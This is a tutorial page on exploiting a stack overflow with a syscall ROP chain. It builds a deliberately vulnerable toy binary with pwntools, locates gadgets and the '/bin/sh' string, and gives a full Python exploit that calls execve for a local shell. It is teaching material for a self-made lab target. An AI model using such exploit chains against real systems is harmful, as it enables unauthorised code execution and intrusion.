# Exploitation with Syscalls

### The Source

{% file src="https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MP8zVvo5BGjcUm2f9HU%2F-MP8zi3TO6_V1mEoyfKW%2Fsyscalls.zip?alt=media&token=661d7344-5ab0-4f70-9f74-5290b6c61e38" %}
Syscalls
{% endfile %}

To make it super simple, I made it in assembly using pwntools:

```python
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

elf = ELF.from_assembly(
    '''
        mov rdi, 0;
        mov rsi, rsp;
        sub rsi, 8;
        mov rdx, 300;
        syscall;
        ret;
        
        pop rax;
        ret;
        pop rdi;
        ret;
        pop rsi;
        ret;
        pop rdx;
        ret;
    '''
)
elf.save('vuln')
```

The binary contains all the gadgets you need! First it executes a `read` syscall, writes to the stack, then the `ret` occurs and you can gain control.

But what about the `/bin/sh`? I slightly cheesed this one and couldn't be bothered to add it to the assembly, so I just did:

```bash
echo -en "/bin/sh\x00" >> vuln
```

### Exploitation

As we mentioned before, we need the following layout in the registers:

```
RAX:    0x3b
RDI:    pointer to /bin/sh
RSI:    0x0
RDX:    0x0
```

To get the address of the gadgets, I'll just do `objdump -d vuln`. The address of `/bin/sh` can be gotten using strings:

```
$ strings -t x vuln | grep bin
   1250 /bin/sh
```

The **offset** from the base to the string is `0x1250` (`-t x` tells `strings` to print the offset as hex). Armed with all this information, we can set up the constants:

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

binsh = elf.address + 0x1250

POP_RAX = 0x10000018
POP_RDI = 0x1000001a
POP_RSI = 0x1000001c
POP_RDX = 0x1000001e
SYSCALL = 0x10000015
```

Now we just need to populate the registers. I'll tell you the padding is `8` to save time:

```python
payload = flat(
    'A' * 8,
    POP_RAX,
    0x3b,
    POP_RDI,
    binsh,
    POP_RSI,
    0x0,
    POP_RDX,
    0X0,
    SYSCALL
)

p.sendline(payload)
p.interactive()
```

And wehey - we get a shell!
